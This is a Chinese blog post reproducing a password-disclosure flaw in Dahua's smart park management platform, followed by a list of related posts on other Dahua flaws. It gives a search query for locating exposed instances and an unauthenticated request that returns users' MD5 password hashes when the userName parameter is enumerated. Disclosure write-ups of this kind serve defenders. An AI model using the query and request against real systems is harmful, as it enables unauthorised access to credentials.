大华智慧园区综合管理平台密码泄露漏洞

最新推荐文章于 2024-04-16 02:43:02 发布
最新推荐文章于 2024-04-16 02:43:02 发布
阅读量1k 收藏 1
点赞数 1
分类专栏： 漏洞复现 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_33331244/article/details/132740159
版权

一、漏洞简介

大华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。由于敏感目录并未进行鉴权，所以可以直接得到system的密码（采用MD5加密）。

二、影响版本

  • 大华智慧园区综合管理平台

三、资产测绘

  • hunterapp.name="Dahua 大华 智慧园区管理平台"
  • 登录页面
    在这里插入图片描述

四、漏洞复现

/admin/user_getUserInfoByUserName.action?userName=system

在这里插入图片描述可通过遍历userName参数，获取md5加密的密码，

xiaokp7
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
【漏洞复现】大华智慧园区综合管理平台任意密码读取漏洞
失心少年
08-29 792
大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！
【1day】复现大华智慧园区综合管理平台存在任意密码读取漏洞
记录并分享学习安全的知识点..
08-16 459
大华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。大华智慧园区综合管理平台存在任意密码读取漏洞，远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限。
大华智能物联综合管理平台justForTest用户登录漏洞
qq_39573664的博客
12-27 1266
浙江大华技术股份有限公司智能物联综合管理平台 用户登录接口/evo-apigw/evo-oauth/oauth/token存在漏洞，使用用户justForTest/任意密码即可成功登录平台，造成信息泄露。
【漏洞复现】大华智慧园区综合管理平台SQL注入漏洞，腾讯T3面试官透露
最新发布
2301_76225325的博客
04-16 296
大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。该平台旨在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。
大华智慧园区综合管理平文件上传(附nuclei POC)、密码泄露漏洞
m0_46317063的博客
08-31 344
【代码】大华智慧园区综合管理平文件上传漏洞(附nuclei POC）
大华智慧园区综合管理平台文件上传漏洞(CVE-2023-3836)
weixin_44304678的博客
11-01 1296
大华智慧园区综合管理平台是一个基于智能物联技术的园区安防、办公、运营的数字化解决方案。大华智慧园区综合管理平台(截至 20230713)版本中存在文件上传漏洞。未经授权的攻击者可以上传恶意Webshell的JSP文件，可以进行RCE利用。未经授权的攻击者可通过上传jsp的webshell造成rce，获取服务器权限。app=“dahua-智慧园区综合管理平台”123可修改为webshell。
大华科技摄像头产品非授权访问漏洞技术分析与防护方案
02-10
大华科技摄像头产品非授权访问漏洞技术分析与防护方案
大华智慧园区综合管理平台RCE漏洞
holyxp的博客
07-17 1934
大华智慧园区综合管理平台”是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。​ 大华智慧园区设备开放了文件上传功能，但未在上传的文件类型、大小、格式、路径等方面进行严格的限制和过滤，导致攻击者可以通过构造恶意文件并上传到设备上，然后利用该漏洞获取权限并执行任意命令。
大华智慧园区综合管理平台任意密码读取漏洞复现
08-14 2043
大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。
大华智慧园区综合管理平台searchJson SQL注入漏洞
xiaokp7的博客
09-07 329
大华智慧园区综合管理平台”是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。大华智慧园区综合管理平台未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限。
DH-DSS-H8900智慧园区综合管理平台
03-01
DH-DSS-H8900 系列是为通用性公共建筑物提供安全和高效管理而打造的智慧园区综合管理平台，通过融合大华在安防和智能化领域的专业经验和前沿技术，集成视频，门禁、报警，停车场，考 勤，访客，可视对讲，信息发布等...
大华智慧园区综合管理平台存在未授权高危漏洞（0Day）及以往漏洞POC合集
02-27
大华智慧园区综合管理平台存在未授权高危漏洞（0Day）及以往漏洞POC合集
DH 软件平台 DH-DSS-H8900S2-B 智慧园区综合管理平台-智慧园区APP业务介绍和配置说明 V3.001.0000000.2(行业).docx
05-18
DH 软件平台 DH-DSS-H8900S2-B 智慧园区综合管理平台-智慧园区APP业务介绍和配置说明 V3.001.0000000.2(行业).docx
102.大华-智慧园区综合解决方案.pptx
06-07
内容概要：智慧城市通过物联网基础设施、云计算基础设施、地理空间基础设施等新一代信息技术以及维基、社交网络、Fab Lab、Living Lab、综合集成法、网动全媒体融合通信终端等工具和方法的应用，实现全面透彻的感知...
大华智慧小区综合解决方案.doc
05-17
综合物业管理解决方案，涵盖安防，报警，人员管理，车辆管理
【漏洞复现】大华智慧园区综合管理平台前台任意文件上传漏洞
做自己喜欢的事，并将其发挥到极致！
09-13 666
大华智慧园区综合管理平台是由大华技术股份有限公司(Dahua Technology)开发的一款综合管理解决方案。该平台旨在帮助园区管理者提高管理效率、提升安全水平、优化资源利用,并实现智能化的园区运营。大华智慧园区综合管理平台采用模块化设计和开放式架构,可根据不同园区的需求进行定制和扩展。同时,它还支持云端部署和移动端访问,方便管理者随时随地监控园区运营情况。大华智慧园区综合管理平台存在前台任意文件上传漏洞，攻击者可通过特定Payload获取服务器敏感信息，进而获取服务器控制权限。
CVE-2023-3836：大华智慧园区综合管理平台任意文件上传漏洞复现
薛定谔嘚喵博客
09-07 1071
在大华智慧园区管理中发现了一个被归类为严重的漏洞，最高可达20230713。此漏洞影响文件 /emap/devicePoint_addImgIco？hasSubsystem=true 的未知代码。对参数上传的操作会导致无限制上传。攻击可以远程发起。该漏洞已向公众披露，并可能被使用。
【1day】复现大华智慧园区综合管理平台任意文件上传漏洞
记录并分享学习安全的知识点..
07-07 1199
大华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。攻击者可以在前台将文件上传至其文件系统，但这些文件可能并没有经过充分的验证，如文件名称、类型、内容或大小等。未能正确执行这些限制就意味着即使最基本的图像上传功能也可能用于上传任意具有潜在危险的文件，里面甚至包括远程代码执行的服务器端脚本文件。
【1day】复现大华智慧园区综合管理平台SQL注入漏洞
记录并分享学习安全的知识点..
08-12 894
大华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。大华智慧园区综合管理平台SQL注入漏洞，远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限。
大华智慧园区综合管理平台rce
08-17
大华智慧园区综合管理平台（RCE）是一种基于大数据和人工智能技术的智慧园区管理解决方案。该平台集成了多个子系统，包括智能安防、能源管理、楼宇自动化、智慧交通等，旨在提供全面的园区管理和优化，促进园区的可持续发展。 RCE平台通过监测和收集园区各个系统的数据，实现了全面的实时监控和管理。例如，通过智能安防子系统，可以对园区内的视频监控和入侵报警进行集中管理和分析，及时发现和应对安全事件。能源管理子系统可以帮助园区实现能源使用的监测和调控，提高能源利用效率，减少能源浪费。楼宇自动化子系统可以实现对园区内各个建筑物的智能控制和设备管理，提高建筑物的舒适度和能源效率。智慧交通子系统则可以优化园区的交通流动性，减少交通堵塞和碰撞事故。 RCE平台还具有数据分析和预测功能，利用大数据和人工智能技术，对园区内各个子系统的数据进行分析和挖掘，提供决策支持和优化方案。例如，可以通过数据分析预测出园区能源的高峰和低谷，从而合理调控能源供应。还可以通过交通数据分析，优化园区的道路规划和交通流量，提高交通效率和安全性。 综上所述，大华智慧园区综合管理平台（RCE）通过集成不同子系统和应用，实现了园区的全面管理和优化，提高了园区的安全性、舒适度和效率。它是未来智慧城市建设的重要组成部分，也是推动城市可持续发展的重要工具。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaokp7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值